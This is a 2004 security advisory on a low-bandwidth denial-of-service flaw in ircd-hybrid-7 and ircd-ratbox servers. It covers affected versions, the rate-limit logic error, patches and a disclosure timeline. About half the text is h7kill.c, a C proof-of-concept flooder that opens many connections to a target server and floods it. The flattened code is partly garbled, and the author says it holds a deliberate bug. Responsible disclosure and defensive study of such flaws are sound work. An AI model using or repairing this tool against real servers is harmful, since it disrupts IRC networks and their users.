Name : ircd-hybrid-7/ircd-ratbox low-bandwidth DoS Date : June 14th 2004 Author : Erik Sperling Johansen Severity : Medium This has been tested on most the ircd versions currently used on EFNet. Other ircds may be affected. Affected: ircd-hybrid <=7.0.1 ircd-ratbox <=1.5.1 ircd-ratbox <=2.0rc6 Not Affected: ircd-hybrid 7.1-devel ircd-ratbox >=1.5.2 ircd-ratbox >=2.0rc7 ircd-hybrid 6 csircd Outline: Due to faulty logic in the socket dequeuing mechanism used in hybrid 7 and the derivated ircd-ratbox, it is possible to severely lag an irc server using a low-bandwidth DoS attack. Description: Client connections to the ircd are subject to a burstable rate limit, specified as messages per second, and implemented as a simple token bucket. This rate limit will cause a client to exit with an "Excess Flood" error if data is sent too fast. This rate limit is not used for connected servers, and more important; neither for connections that are not yet registered as a client or a server. Processing of received data is a 2-stage operation. First, data is read off ready sockets, split into lines and queued up in a "linebuf" linked list with buffers allocated from a blockheap. Each line will cause a 537-byte block of data to be allocated. Then, these lines are processed by parse_client_queued. If the sender is a server, there's no ratelimit, fine. If the sender is a client, there's a ratelimit leading to a closed connection if it's exceeded, works like a charm. If the sender is "Unknown", there's a fixed ratelimit of MAX_FLOOD (default 5) lines per main loop iteration. This ratelimit does not cause the connection to be closed if it is exceeded, processing is simply postponed until next main loop iteration. So, if you haven't registered, you're not subject to rate limits. Each line you send causes a 537 byte buffer to be allocated. Your lines are dequeued slowly. Starts to look like a possible memory exhaustion? Now, add to this that " \n" is considered a queueable line. Yep, 2 bytes sent cause a 537 byte heap block to be queued and way too slowly dequeued. Exploitation: The included app can make any of the vulnerable ircds severely lagged and often totally unresponsive, with usage of no more than 100-150K/sec bandwidth. The effects stay behind several minutes after the flooding connections have been terminated. No warnings are given with the default log levels of the affected ircds. Resolution: - Upgrade to hybrid-6 or csircd - Get the corrected ratbox-1.5.2 from http://www.ircd-ratbox.org - Get a hybrid-7.0.1 patch from http://www.ircd-hybrid.org/diff/unreg_limit.diff Timeline: Found june 13th. Developers informed june 14th. Patch made available immediately. Notified EFNet administration june 15th. Public release june 19th. Erik S. Johansen einride@EFNet - co-admin irc.banetele.no -----h7kill.c----- // Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS // // ./kiddie-proofed - you'll need to correct a bug // // Tested on linux, should work with minor tweaks on other platforms // // -- Erik Sperling Johansen #include #include #include #include #include #include #include #include #include #include #include #include #include int done = 0; void siginthandler(int x) { fprintf(stdout, "Exiting\n"); done = 1; } void usage(const char * b) { fprintf(stderr, "%s ip port connectioncount\n", b); exit(1); } int makeconn(struct sockaddr_in * sin) { int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { perror("socket"); return -1; } int n=1; if (ioctl(s, FIONBIO, &n, sizeof(n))) { perror("ioctl"); close(s); return -1; } errno = 0; if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1) && (errno != EINPROGRESS)) { perror("connect"); close(s); return -1; } return s; }; int main(int argc, const char ** argv, const char ** envp) { fd_set wfd, rfd; FD_ZERO(&wfd); FD_ZERO(&rfd); if (argc != 4) usage(argv[0]); struct sockaddr_in sin; memset(&sin, 0, sizeof(sin)); sin.sin_addr.s_addr = inet_addr(argv[1]); if (sin.sin_addr.s_addr == INADDR_NONE) usage(argv[0]); sin.sin_port = htons(atoi(argv[2])); sin.sin_family = AF_INET; int conncount = atoi(argv[3]); if ((conncount <= 0) || (conncount > FD_SETSIZE-5)) usage(argv[0]); int * sockets = (int *) malloc(conncount * sizeof(int)); int i, highsock = 0; char buf[65536]; char dummy[65536]; for (i=0; i= 0) { ++CountConnects; FD_SET(sockets[i], &wfd); FD_SET(sockets[i], &rfd); } if (highsock < sockets[i]) highsock = sockets[i]; } } } memcpy(&w, &wfd, sizeof(w)); memcpy(&r, &rfd, sizeof(r)); struct timeval tv = { 1, 0 }; int c = select(highsock+1, &r, &w, 0, &tv); for (i = 0; (i 0); ++i) { if (sockets[i] >= 0) { if (FD_ISSET(sockets[i], &w)) { int bytes = send(sockets[i], buf, sizeof(buf), 0); if (bytes > 0) { CountBytes += bytes; CurCountBytes += bytes; } else { #ifndef NONOISE perror("send"); #endif FD_CLR(sockets[i], &wfd); FD_CLR(sockets[i], &rfd); close(sockets[i]); #ifndef NONOISE fprintf(stdout, "(send) Lost conn on socket %i, reconnecting\n", sockets[i]); #endif sockets[i] = -1; highsock = -1; } } } if (sockets[i] >= 0) { if (FD_ISSET(sockets[i], &r)) { errno = 0; if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) { #ifndef NONOISE perror("recv"); #endif FD_CLR(sockets[i], &wfd); FD_CLR(sockets[i], &rfd); close(sockets[i]); #ifndef NONOISE fprintf(stdout, "(recv) Lost conn on socket %i, reconnecting\n", sockets[i]); #endif sockets[i] = -1; highsock = -1; } } } } if (time(0) - LastRep > 5) { fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes / (time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep)); LastRep = time(0); CurCountBytes = 0; } } fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes / (time(0) - Started)); return 0; }